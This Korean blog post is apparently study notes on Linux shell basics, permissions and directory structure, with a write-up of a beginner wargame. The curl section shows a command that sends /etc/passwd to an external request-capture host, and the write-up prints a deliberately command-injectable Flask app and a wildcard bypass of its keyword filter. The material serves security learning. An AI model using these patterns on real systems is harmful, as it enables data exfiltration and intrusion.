DreamHack의 Beginners 로드맵을 기반으로 정리한 글입니다.
셸(Shell)
셸은 유저가 리눅스 시스템을 이용할 수 있는 인터페이스이다. 셸은 유저에게 입력을 받고 운영체제가 그것을 프로그램으로 처리하면 그 결과를 유저에게 출력한다.
Ubuntu를 기준으로 했을 때, 터미널을 실행하면 bash 셸이 자동으로 실행된다.
셸 프롬프트(Shell Prompt)
user@user-VirtualBox:~$
이것을 셸 프롬프트라고 부른다. 유저는 셸 프롬프트를 보고 셸이 명령어를 입력 받을 준비가 되었음을 알 수 있다.
user@user-VirtualBox:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)
id 명령어를 실행해 보면, 위와 같이 셸이 id 명령어를 입력받아 그것을 프로그램으로 처리하여 그 결과를 다시 유저에게 출력한다. 여기서 id는 현재 유저의 유저 ID와 해당 유저가 속해 있는 그룹 ID를 보여주는 명령어이다.
기초적인 명령어
1. sudo apt update
ser@user-VirtualBox:~$ sudo apt update
▶ apt 명령어로 설치 가능한 소프트웨어 패키지 목록, 각 소프트웨어 패키지 별로 어떤 버전 설치할 수 있는지 업데이트
- apt(Advanced Package Tool): Debian 및 Ubuntu 계열의 Linux 배포판에서 패키지를 관리하는 고급 도구
- sudo(Super User Do): 일반 사용자에게 관리자(root) 권한을 부여하여 명령어를 실행시킬 수 있도록 하는 명령어
2. sudo apt upgrade
user@user-VirtualBox:~$ sudo apt upgrade
▶ Linux에 설치된 소프트웨어 패키지의 버전 업그레이드
- sudo apt update: 패키지 목록 업데이트 (실제 설치 X)
- sudo apt upgrade: 현재 설치된 패키지를 최신 버전으로 업그레이드
※ upgrade 전에 update를 실행해야 최신 패키지 목록을 가져와서 정확하게 업그레이드 할 수 있다.
오래된 소프트웨어 패키지에 존재하는 취약점은 보안 문제를 일으킬 수 있다. 따라서 주기적으로 소프트웨어 패키지를 업그레이드하여 보안 문제를 예방하는 작업이 중요하다.
3. id
user@user-VirtualBox:~$ id
▶ 현재 유저의 유저 ID와 해당 유저가 속해있는 그룹 ID 출력
리눅스는 권한을 기반으로 파일을 읽고 쓰고 실행할 수 있기 때문에 주로 자신이 해당하는 권한을 가지고 있는지 확인하기 위해 사용하는 명령어이다.
4. pwd
user@user-VirtualBox:~$ pwd
▶ pwd(Print Working Directory): 현재 작업 중인 디렉토리의 경로 출력
5. ls
user@user-VirtualBox:~$ ls
user@user-VirtualBox:~$ ls -l
user@user-VirtualBox:~$ ls -l /
▶ ls(List): 디렉토리의 내용 출력
- ls -l(long format): 더 자세한 정보를 함께 출력
- ls -l /: 루트 드렉토리인 / 디렉토리 내용 출력 (현재 디렉토리뿐만 아니라 임의의 디렉토리 내용 출력도 가능)
※ 리눅스에서는 모든 파일과 디렉토리가 / (루트 디렉토리) 아래에 존재한다. (최상위 경로)
플래그는 명령어의 동작을 변경하는 옵션으로 -(하이픈)로 나타내는 한 글자 플래그와 --(더블 하이픈)로 나타내는 전체 이름을 사용하는 플래그가 있다. ex) -l, --version
6. cd
user@user-VirtualBox:~$ pwd
/home/user
user@user-VirtualBox:~$ cd /
user@user-VirtualBox:/$ pwd
/
user@user-VirtualBox:/$ cd /home/user
user@user-VirtualBox:~$ pwd
/home/user
user@user-VirtualBox:~$ cd ..
user@user-VirtualBox:/home$ pwd
/home
user@user-VirtualBox:/home$ cd ~
user@user-VirtualBox:~$ pwd
/home/user
user@user-VirtualBox:/home$ cd /var/log
user@user-VirtualBox:~$ pwd
/var/log
user@user-VirtualBox:/home$ cd -
user@user-VirtualBox:~$ pwd
/home/user
user@user-VirtualBox:/home$ cd -
user@user-VirtualBox:~$ pwd
/var/log
▶ cd(Change Directory): 작업 중인 디렉토리 변경
- cd .. 은 현재 디렉토리에서 부모 디렉토리로 이동
- ~ 는 현재 유저의 홈 디렉토리(/home/사용자이름)이며, - 는 이전에 위치했던 디렉토리 (특별히 정해진 고유한 경로)
※ 절대 경로(Absolute Path)와 상대 경로(Relative Path)
- 절대 경로: 루트 디렉토리 / 를 시작으로 모든 경로를 적어서 표현하는 경로 ex) /home/user
- 상대 경로: 현재 디렉토리를 기준으로 상위 디렉토리 또는 하위 디렉토리로 뻗어 나가는 경로
7. mkdir
user@user-VirtualBox:~$ mkdir new_dir
▶ mkdir(Make Directory): 디렉토리를 생성하는 명령어
8. touch
user@user-VirtualBox:~/new_dir$ touch new_file
▶ 비어 있는 새로운 파일 생성
※ touch 명령어는 빈 파일을 생성하지만, 특정 확장자를 자동으로 부여하지는 않는다. 이때, 화장자 지정을 원하면 파일 이름에 입력해 주면 된다. ex) touch test.txt
9. mv
mv(Move)는 파일이나 디렉토리의 위치를 옮길 때, 이름을 변경할 때 사용하는 명령어이다.
user@user-VirtualBox:~/new_dir$ mv new_file old_file
▶ 파일 이름 변경: new_file 파일의 이름을 old_file로 변경
user@user-VirtualBox:~/new_dir$ ls
old_file
user@user-VirtualBox:~/new_dir$ ls ..
Desktop Downloads new_dir Public Templates
Documents Music Pictures snap Videos
user@user-VirtualBox:~/new_dir$ mv old_file ..
user@user-VirtualBox:~/new_dir$ ls
user@user-VirtualBox:~/new_dir$ ls ..
Desktop Downloads new_dir Pictures snap Videos
Documents Music old_file Public Templates
▶ 파일 위치 변경: old_file을 상위 디렉토리로 위치 변경
10. rm
user@user-VirtualBox:~/new_dir$ rm abcd_file
user@user-VirtualBox:~/new_dir$ rm -r dir
▶ 파일이나 디렉토리 삭제
- rm file: 파일 삭제 (touch & rm)
- rm -r dir: 디렉토리 삭제 (mkdir & rm -r)
※ 디렉토리는 단순한 파일이 아니라, 여러 파일과 하위 디렉토리를 포함하기에 -r(recursive) 옵션을 통해 이 디렉토리 안에 있는 모든 파일과 하위 디렉토리까지 재귀적으로 삭제하라는 의미이다.
11. cat
user@user-VirtualBox:~/new_dir$ cat /etc/passwd
▶ cat 파일경로: 파일의 내용을 출력하는 명령어
※ /etc/passwd 파일은 운영체제에 접근할 수 있는 유저 목록을 담고 있다.
12. file
user@user-VirtualBox:~$ file /bin/ls
▶ 파일의 유형을 출력하는 명령어
※ /bin/ls 파일은 ls 명령어를 입력하면 실행되는 실행 파일이다.
13. echo
user@user-VirtualBox:~/new_dir$ echo "Hello world!"
Hello world!
▶ 셀에 유저가 입력한 텍스트 출력
echo 명령어를 사용해서 파일을 생성할 수도 있다.
user@user-VirtualBox:~/new_dir$ echo "Hello world!" > hello
user@user-VirtualBox:~/new_dir$ cat hello
Hello world!
▶ 파일 생성
14. cp
user@user-VirtualBox:~/new_dir$ ls -l
total 4
-rw-rw-r-- 1 user user 13 12월 2 13:05 hello
user@user-VirtualBox:~/new_dir$ cp hello world
user@user-VirtualBox:~/new_dir$ ls -l
total 8
-rw-rw-r-- 1 user user 13 12월 2 13:05 hello
-rw-rw-r-- 1 user user 13 12월 2 13:08 world
user@user-VirtualBox:~/new_dir$ cat world
Hello world!
▶ cp(copy): 파일이나 디렉토리를 복사
위에서 생성한 hello 파일을 world라는 이름으로 복사하는 코드이다.
디렉토리를 복사할 때는 rm 명령어와 같이 -r 플래그를 붙인 형태인 cp -r 을 사용한다.
15. grep
user@user-VirtualBox:~/new_dir$ grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash
nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
▶ 전체에서 특정 문자열을 찾을 때 사용한다.
/etc/passwd 파일에서 root 문자열이 포함된 행을 출력하는 코드이다.
16. man
user@user-VirtualBox:~/new_dir$ man cp
▶ man(Manual): 특정 명령어의 메뉴얼을 보여주는 명령어
메뉴얼은 명령어 사용법, 옵션, 예제 등 유용한 정보를 담고 있다.
CP(1) User Commands CP(1)
NAME
cp - copy files and directories
SYNOPSIS
cp [OPTION]... [-T] SOURCE DEST
cp [OPTION]... SOURCE... DIRECTORY
cp [OPTION]... -t DIRECTORY SOURCE...
DESCRIPTION
Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY.
Mandatory arguments to long options are mandatory for short options
too.
-a, --archive
same as -dR --preserve=all
--attributes-only
don't copy the file data, just the attributes
--backup[=CONTROL]
Manual page cp(1) line 1 (press h for help or q to quit)
▶ man cp 명령어 실행 결과 (cp 명령어의 메뉴얼)
17. curl
user@user-VirtualBox:~$ curl https://www.google.com
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="ko">
... (생략)
▶ curl(Client URL): 서버에 데이터를 보내거나 서버로부터 데이터를 받는 데이터 전송 명령어
curl은 HTTP, HTTPS, FTP 등 다양한 프로토콜을 지원한다.
위 코드는 'https://www.google.com' 웹 서버의 콘텐츠를 반환하여 출력하는 코드이다.
curl 명령어의 주요 옵션
- -o file: 전송 받은 데이터를 파일에 저장
- -i: 결과값에 HTTP 응답 헤더를 포함
- -X "method": HTTP 요청 메소드를 지정
- -d "key=value": HTTP PSOT 메소드로 데이터를 전송
curl 은 워게임 문제를 풀 때도 유용하다. 예를 들어 풀이자가 명령어 실행 결과를 볼 수 없는 경우, 결과를 curl 명령어에 포함하여 풀이자의 웹 서버로 전송하면 확인이 가능하다. (curl을 이용한 명령어 실행 결과 전송)
$ curl "https://hmqtzgx.request.dreamhack.games" -d "`cat /etc/passwd`"
▶ 서버 내 /etc/passwd 파일을 https://hmqtzgx.request.dreamhack.games 에 POST 데이터로 전송하는 예시
와일드카드
와일드카드(wildcards)는 리눅스에서 임의의 다른 문자를 나타낼 수 있는 특수 문자들을 의미한다. 주로 명령어를 다른 문자열로 대체하기 위해 사용하며, 리눅스에서 파일 및 디렉토리 탐색을 더 효율적으로 할 수 있게 도와준다.
?
a-z, 0-9 범위 내 임의의 1개 문자로 대체된다.
user@user-VirtualBox:~/new_dir$ ls -l
total 8
-rw-rw-r-- 1 user user 13 12월 2 13:05 hello
-rw-rw-r-- 1 user user 13 12월 2 13:08 world
user@user-VirtualBox:~/new_dir$ cat he?lo
Hello world!
▶ cat he?lo를 실행하여 hello 파일을 출력하는 코드
*
a-z, 0-9 범위 내 임의의 0개 이상 문자로 대체된다.
user@user-VirtualBox:~/new_dir$ cat h*
Hello world!
▶ cat h* 명령어를 입력하여 hello 파일을 출력하는 코드
[ ]
[문자1-문자2] 혹은 [문자1, 문자2, ...] 형태로 범위를 지정하며, 범위 내 모든 문자로 대체될 수 있다.
user@user-VirtualBox:~/new_dir$ touch test1 test2 test3
user@user-VirtualBox:~/new_dir$ ls -l
total 8
-rw-rw-r-- 1 user user 13 12월 2 13:05 hello
-rw-rw-r-- 1 user user 0 12월 2 13:10 test1
-rw-rw-r-- 1 user user 0 12월 2 13:10 test2
-rw-rw-r-- 1 user user 0 12월 2 13:10 test3
-rw-rw-r-- 1 user user 13 12월 2 13:08 world
user@user-VirtualBox:~/new_dir$ ls test[0-9]
test1 test2 test3
▶ ls test[0-9]를 실행하여 파일명이 test로 시작하고 마지막이 숫자인 파일을 모두 출력하는 코드
리다이렉션
리다이렉션(redirection)은 모니터에 나타나는 표준 출력 혹은 키보드로 입력하는 표준 입력을 다른 곳으로 변경하는 작업이다. 주로 어떤 명령어의 결과를 파일로 저장하거나, 다른 명령어의 입력으로 전달하는 형태로 리다이렉션한다.
명령어 > 파일
명령어 표준 출력을 파일로 변경한다. 파일이 없으면 새로 만들고, 있으면 덮어쓴다.
user@user-VirtualBox:~/new_dir$ ls test[0-9]
test1 test2 test3
user@user-VirtualBox:~/new_dir$ ls test[0-9] > world
user@user-VirtualBox:~/new_dir$ cat world
test1
test2
test3
▶ ls test[0-9] 명령어 결과를 world 파일에 쓰는 예시
명령어 >> 파일
명령어 표준 출력을 파일로 변경한다. 파일이 없으면 새로 만들고, 있으면 이어서 쓴다.
user@user-VirtualBox:~/new_dir$ cat hello
hello
user@user-VirtualBox:~/new_dir$ cat hello >> world
user@user-VirtualBox:~/new_dir$ cat world
test1
test2
test3
hello
▶ cat hello 명령어 결과를 world 파일에 쓰는 예시
명령어 < 파일
파일로부터 표준 입력을 받아 명령어를 수행한다.
user@user-VirtualBox:~/new_dir$ cat world
test1
test2
test3
hello
user@user-VirtualBox:~/new_dir$ grep test < world
test1
test2
test3
▶ world 파일 내용을 표준 입력으로 받아 grep test 명령어를 수행하는 예시
파이프
파이프(pipe)는 리다이렉션의 한 형태로, 명령어 결과 표준 출력을 다른 명령어의 표준 입력으로 보낼 때 사용한다. 이때 파이프는 | 문자로 나타낸다.
user@user-VirtualBox:~/new_dir$ ls -l
total 8
-rw-rw-r-- 1 user user 13 12월 2 13:05 hello
-rw-rw-r-- 1 user user 0 12월 2 13:10 test1
-rw-rw-r-- 1 user user 0 12월 2 13:10 test2
-rw-rw-r-- 1 user user 0 12월 2 13:10 test3
-rw-rw-r-- 1 user user 13 12월 2 13:08 world
user@user-VirtualBox:~/new_dir$ ls -l | grep hello
-rw-rw-r-- 1 user user 13 12월 2 13:05 hello
▶ ls -l 명령 결과에서 hello가 포함된 행을 찾아 출력하는 예시
권한
유저(user)와 그룹(group)
리눅스에서 유저와 그룹은 리눅스의 권한 시스템에서 중요한 개념이다. 리눅스의 각 유저는 이름과 고유한 사용자 ID(UID)를 가지고 있다. 그룹은 말 그대로 여러 유저가 속할 수 있는 그룹으로, 이 역시 그룹 이름과 고유한 그룹 ID(GID)를 가지고 있다.
파일이나 디렉토리와 같은 시스템 자원에 유저가 접근하면 유저의 UID와 해당 유저가 속한 그룹의 GID를 확인하여 정당한 권한을 가지고 있는지를 판단해 접근을 제어한다.
user@user-VirtualBox:~/new_dir$ cat /etc/passwd
▶ /etc/passwd: 리눅스의 유저 정보를 담고 있는 텍스트 파일 (각 사용자의 이름, 사용자 ID, 속해있는 그룹 ID 등)
user@user-VirtualBox:~/new_dir$ cat /etc/group
▶ /etc/group: 리눅스의 그룹 정보를 담고 있는 텍스트 파일 (각 그룹의 이름, 그룹 ID, 그룹에 속한 유저 목록 등)
파일 및 디렉토리 권한
리눅스는 사용자가 파일과 디렉토리에 접근하는 행위에 대해 권한으로 제어한다. 각 파일과 디렉토리는 소유자(owner)와 소유 그룹(group)을 가지고 있다. 소유자는 파일 또는 디렉토리의 권한을 수정할 수 있는 능력을 가지고 있어, 이를 통해 소유자 또는 소유 그룹에 포함된 유저가 해당 파일 또는 디렉토리에 대해 얼마만큼 접근 권한을 가질 것인지 설정할 수 있다.
세 종류의 접근 권한
- 읽기(Read): 파일 또는 디렉토리의 내용을 볼 수 있게 허용한다.
- 쓰기(Write): 파일 또는 디렉토리의 내용을 수정하거나 삭제하는 것을 허용한다.
- 실행(Execute): 파일이 프로그램인 경우 실행할 수 있게 허용한다. 디렉토리의 경우, 디렉토리의 내용에 접근할 수 있도록 허용한다.
user@user-VirtualBox:~/new_dir$ ls -l
total 12
drwxrwxr-x 2 user user 4096 12월 2 13:38 dir
---------- 1 user user 13 12월 2 13:05 hello
-rwxrw-r-- 1 user user 13 12월 2 13:08 world
▶ 파일이나 디렉토리의 권한을 보기 위한 ls -l 명령어 사용 예시
drwxrwxr-x 2 user user 4096 12월 2 13:38 dir
▶ dir의 권한 플래그 drwxrwxr-x
파일 타입(유형) | 디렉토리 (d) *d는 디렉토리, -는 일반 파일, l은 바로가기와 같은 링크 파일 |
권한 | rwx (소유자), rwx (소유 그룹 유저), r-x (기타 유저) *읽기(r), 쓰기(w), 실행(x) |
링크 수 | 2 |
소유자 | user |
소유 그룹 | user |
파일 크기 | 4096 바이트 |
수정 날짜 및 시간 | 12월 2일 13:38 |
파일 이름 | dir |
권한을 나타내는 3개 문자는 2진수나 10진수로도 표현이 가능하다. 예를 들어 rwx는 2진수로 111, 10진수로 7이며, r--는 2진수로 100, 10진수로 4이다.
소유자와 소유 그룹
- 소유자는 파일 또는 디렉토리에 대한 제어권을 가지고 있어, 파일 또는 디렉토리의 권한 플래그를 변경할 수 있고 파일의 소유자 또는 소유 그룹을 변경할 수도 있다.
- 리눅스에는 여러 사용자를 하나의 집합으로 관리할 수 있는 그룹 기능이 있다. 소유 그룹은 그룹 단위로 파일 또는 디렉토리에 권한을 부여할 때 사용한다. 특정 파일 또는 디렉토리에 대한 접근 권한을 편리하게 그룹 단위로 부여하거나 제한할 수 있어 자주 활용되는 기능이다.
파일 및 디렉토리 권한 명령어
1. chmod
chmod(Change Mode)는 파일 권한을 변경하는 명령어이다. root 유저 혹은 파일의 소유자만 실행할 수 있다. 권한을 표현할 때는 권한 플래그를 10진수로 표현하거나 기존의 권한에 문자를 더하거나 뺀다.
user@user-VirtualBox:~/new_dir$ ls -l
total 12
drwxrwxr-x 2 user user 4096 12월 2 13:38 dir
---------- 1 user user 13 12월 2 13:05 hello
-rwxrw-r-- 1 user user 13 12월 2 13:08 world
▶ hello 파일에 아무 권한도 부여되지 않은 상태
user@user-VirtualBox:~/new_dir$ chmod 764 hello
user@user-VirtualBox:~/new_dir$ ls -l
total 12
drwxrwxr-x 2 user user 4096 12월 2 13:38 dir
-rwxrw-r-- 1 user user 13 12월 2 13:05 hello
-rwxrw-r-- 1 user user 13 12월 2 13:08 world
▶ hello 파일 소유자 권한 rwx 111=7, 소유 그룹 권한 rw- 110=6, 일반 유저 권한 r-- 100=4 으로 권한 변경
user@user-VirtualBox:~/new_dir$ chmod g+x hello
user@user-VirtualBox:~/new_dir$ ls -l
total 12
drwxrwxr-x 2 user user 4096 12월 2 13:38 dir
-rwxrwxr-- 1 user user 13 12월 2 13:05 hello
-rwxrw-r-- 1 user user 13 12월 2 13:08 world
user@user-VirtualBox:~/new_dir$ chmod g-wx hello
user@user-VirtualBox:~/new_dir$ ls -l
total 12
drwxrwxr-x 2 user user 4096 12월 2 13:38 dir
-rwxr--r-- 1 user user 13 12월 2 13:05 hello
-rwxrw-r-- 1 user user 13 12월 2 13:08 world
▶ hello 파일 소유 그룹에 실행 권한 부여 / 쓰기, 실행 권한 제거
※ u, g, o, a: 소유자(u), 그룹(g), 그 외 사용자(o), 모든 사용자(a)
2. chown
chown(Change Owner)은 파일 소유자 혹은 소유 그룹을 변경하는 명령어이다. root 유저만 실행할 수 있다. 소유 그룹만 변경하고 싶은 경우 chgrp 명령어를 사용할 수도 있다. 이때 명령어를 root 권한으로 실행하려면 맨 앞에 sudo를 붙여 주어야 한다.
user@user-VirtualBox:~/new_dir$ sudo chown root hello
[sudo] password for user:
user@user-VirtualBox:~/new_dir$ ls -l
total 12
drwxrwxr-x 2 user user 4096 12월 2 13:38 dir
-rwxr--r-- 1 root user 13 12월 2 13:05 hello
-rwxrw-r-- 1 user user 13 12월 2 13:08 world
user@user-VirtualBox:~/new_dir$ echo "hello" > hello
bash: hello: Permission denied
user@user-VirtualBox:~/new_dir$ sudo chown :root hello // sudo chgrp root hello와 동일한 결과
[sudo] password for user:
user@user-VirtualBox:~/new_dir$ ls -l
total 12
drwxrwxr-x 2 user user 4096 12월 2 13:38 dir
-rwxr--r-- 1 root root 13 12월 2 13:05 hello
-rwxrw-r-- 1 user user 13 12월 2 13:08 world
▶ 소유자가 root 유저가 되면 user 유저는 hello 파일을 수정할 수 없음
특수 권한 (r, w, x 권한 외에 특수한 3가지 권한)
1. setuid
일반 사용자가 파일을 실행하면 파일 소유자 권한으로 실행된다. 예를 들어, /bin/passwd 파일은 소유자가 root 이지만 setuid가 설정되어 있어 일반 사용자가 root 권한으로 실행하고 비밀번호도 변경할 수 있다. setuid는 소유자의 실행 권한에 x 대신 s 문자로 나타낸다. 대문자 S로 표시되는 경우에는 setuid가 걸려 있으나, 실행 권한이 없는 경우이다.
user@user-VirtualBox:/bin$ ls -l passwd
-rwsr-xr-x 1 root root 59976 11월 24 21:05 passwd
▶ /bin/passwd의 권한 플래그를 보면 소유자의 실행 권한이 s로 설정된 것을 볼 수 있음
※ x와 setuid 비교: x는 실행하는 사용자의 권한으로, setuid는 파일 소유자의 권한으로 실행된다. 즉, x는 실행하는 사람이 user라면 user의 권한으로 실행되고, setuid는 파일 소유자가 root라면 일반 사용자도 root 권한으로 실행 가능하다. (x-/sS)
2. setgid
일반 사용자가 파일을 실행하면 파일 소유 그룹 권한으로 실행된다. setgid는 소유 그룹의 실행 권한에 x 대신 s 문자로 나타낸다. 마찬가지로 실행 권한이 없으나 setgid가 걸려 있는 경우 대문자 S로 표시된다.
3. sticky bit
디렉토리에 sticky bit을 설정하면 파일 및 디렉토리 소유자와 root 사용자 외에 일반 사용자가 파일을 삭제할 수 없다. 주로 공용 디렉토리에 사용한다. 일반 사용자의 실행 권한에 x 대신 t 문자로 나타낸다. 이 역시 마찬가지로 실행 권한이 없는 경우에는 대문자 T로 표시된다.
이러한 특수 권한을 지정할 때는 권한 플래그 맨 앞에 숫자를 붙여 나타낸다. setuid는 4, setgid는 2, sticky bit는 1이다.
user@user-VirtualBox:~/new_dir$ ls -l
total 12
drwxrwxr-x 2 user user 4096 12월 2 13:38 dir
-rwxr--r-- 1 root user 13 12월 2 13:05 hello
-rwxrw-r-- 1 user user 13 12월 2 13:08 world
user@user-VirtualBox:~/new_dir$ chmod 4775 world
user@user-VirtualBox:~/new_dir$ ls -l
total 12
drwxrwxr-x 2 user user 4096 12월 2 13:38 dir
-rwxr--r-- 1 root user 13 12월 2 13:05 hello
-rwsrwxr-x 1 user user 13 12월 2 13:08 world
▶ world 파일에 실행 권한과 setuid를 설정하는 모습
setuid만 설정하는 경우 chmod u+s world 도 가능하다. 추가로, setgid는 chmod g+s world, sticky bit는 chmod o+t world 로 설정할 수 있다.
디렉토리 구조
루트 디렉토리 /
루트 디렉토리는 리눅스의 최상위 디렉토리를 말하며, 절대 경로는 / 이다.
cd /; ls -l 또는 ls -l / 를 실행하면 루트 디렉토리에 존재하는 파일과 디렉토리들을 볼 수 있다.
user@user-VirtualBox:~$ ls -l /
total 3991632
lrwxrwxrwx 1 root root 7 11월 30 18:15 bin -> usr/bin
drwxr-xr-x 4 root root 4096 12월 1 14:10 boot
drwxrwxr-x 2 root root 4096 11월 30 18:25 cdrom
drwxr-xr-x 19 root root 4180 12월 1 14:25 dev
drwxr-xr-x 130 root root 12288 12월 1 14:09 etc
drwxr-xr-x 3 root root 4096 11월 30 18:27 home
lrwxrwxrwx 1 root root 7 11월 30 18:15 lib -> usr/lib
lrwxrwxrwx 1 root root 9 11월 30 18:15 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 11월 30 18:15 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 11월 30 18:15 libx32 -> usr/libx32
drwx------ 2 root root 16384 11월 30 18:14 lost+found
drwxr-xr-x 3 root root 4096 11월 30 19:49 media
drwxr-xr-x 2 root root 4096 8월 9 20:48 mnt
drwxr-xr-x 3 root root 4096 11월 30 19:55 opt
dr-xr-xr-x 257 root root 0 12월 1 14:11 proc
drwx------ 4 root root 4096 12월 1 14:17 root
drwxr-xr-x 33 root root 900 12월 1 14:12 run
lrwxrwxrwx 1 root root 8 11월 30 18:15 sbin -> usr/sbin
drwxr-xr-x 11 root root 4096 8월 9 20:55 snap
drwxr-xr-x 2 root root 4096 8월 9 20:48 srv
-rw------- 1 root root 4087349248 11월 30 18:15 swapfile
dr-xr-xr-x 13 root root 0 12월 1 14:11 sys
drwxrwxrwt 20 root root 4096 12월 1 14:17 tmp
drwxr-xr-x 14 root root 4096 8월 9 20:48 usr
drwxr-xr-x 14 root root 4096 8월 9 20:54 var
▶ 루트 디렉토리 안에 존재하는 중요한 디렉토리들
- /bin: 일반 유저가 사용할 수 있는 기본적인 명령어나 프로그램을 담고 있는 디렉토리
- /boot: 시스템 부팅에 필요한 파일들을 담고 있는 디렉토리
- /dev: 리눅스에서는 컴퓨터에 부착된 물리적인(하드웨어) 장치들을 디바이스 드라이버를 거쳐 파일 형태로 접근 가능, 그러한 장치들을 나타내는 파일들을 담고 있는 디렉토리
- /etc: 운영체제나 운영체제 위에서 동작하는 서비스의 설정 파일들을 담고 있는 디렉토리
- /home: 일반 유저들은 각자 자신만의 홈 디렉토리를 가지고 있는데, 이때 각 일반 유저의 홈 디렉토리를 담고 있는 디렉토리 ex) dream 유저의 홈 디렉토리는 /home/dream
- /lib: 시스템에 필요한 라이브러리 파일들을 담고 있는 디렉토리, /bin이나 /sbin에 존재하는 프로그램이 필요로 하는 동적 라이브러리 파일이 /lib 디렉토리에 존재
- /opt: 소프트웨어 패키지들을 담는 디렉토리
- /proc: 리눅스 커널 자원에 접근할 수 있는 파일과 프로세스를 나타내는 파일을 담고 있는 디렉토리
- /root: root 유저의 홈 디렉토리
- /sbin: /bin 디렉토리와 마찬가지로 기본적인 유저 명령이나 프로그램을 가지고 있는 디렉토리로, root 유저가 사용할 수 있는 명령어나 프로그램을 가지고 있음
- /tmp: 유저나 프로그램이 임시로 파일을 생성해야 할 때 사용할 수 있는 디렉토리로, 본 디렉토리에 오래 존재했던 파일들은 자동으로 삭제되므로 주의하여 사용해야 함
- /usr: 사용자 바이너리, 문서, 라이브러리, 헤더 파일 등을 담고 있는 디렉토리
- /var: 프로그램이나 시스템이 실시간으로 가변적인 파일을 사용하고 저장해야 할 때 활용하는 디렉토리 ex) /var/log 에는 다양한 로그 파일이 저장됨
※ 디바이스(장치) 드라이버: 운영체제와 하드웨어 사이에 다리를 놓아주는 소프트웨어 / 바이너리: 0과 1로 이루어진 파일
Wargame: baby-linux
▶ 문제
리눅스 명령어를 실행하기 위해 서버를 생성하여 웹 서비스에 들어가주면 다음과 같은 화면을 확인할 수 있다.
이 리눅스 명령어 실행창에 ls 명령어를 쳐보면,
다음과 같은 결과를 확인할 수 있다.
찾고자 하는 flag.txt 파일이 안 보이니 cat hint.txt 를 통해 힌트를 얻는다.
위와 같이 flag의 경로를 힌트로 제공해 주었으니, cat ./dream/hack/hello/flag.txt 를 입력해 준다.
결과를 보니, flag 값이 아닌 No! 가 출력되었다.
왜 flag 값이 아닌 No! 가 출력되었는지 확인하기 위해 문제 파일을 받아 app.py 을 열어 소스 코드를 확인해 본다.
#!/usr/bin/env python3
import subprocess
from flask import Flask, request, render_template
APP = Flask(__name__)
@APP.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
user_input = request.form.get('user_input')
cmd = f'echo $({user_input})'
if 'flag' in cmd:
return render_template('index.html', result='No!')
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('index.html', result=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('index.html', result='Timeout')
except subprocess.CalledProcessError:
return render_template('index.html', result='Error')
return render_template('index.html')
if __name__ == '__main__':
APP.run(host='0.0.0.0', port=8000)
소스 코드를 확인해 보니 cmd, 즉 입력값에 flag가 있으면 if문에 의해 No! 가 출력됨을 확인할 수 있다.
if문에 안 걸리도록 와일드카드 ? 를 사용하여 cat ./dream/hack/hello/fla?.txt 를 입력해 주면,
이렇게 플래그 값이 출력되는 것을 확인할 수 있다.
'Security > System Hacking' 카테고리의 다른 글
Beginners: DH101 - 1 (컴퓨터 과학 기초) (3) | 2025.02.06 |
---|---|
System Hacking: Shellcode - 2 (1) | 2025.02.01 |
System Hacking: Shellcode - 1 (3) | 2025.01.23 |
System Hacking: Tool Installation - 2 (0) | 2025.01.21 |
System Hacking: Tool Installation - 1 (0) | 2025.01.20 |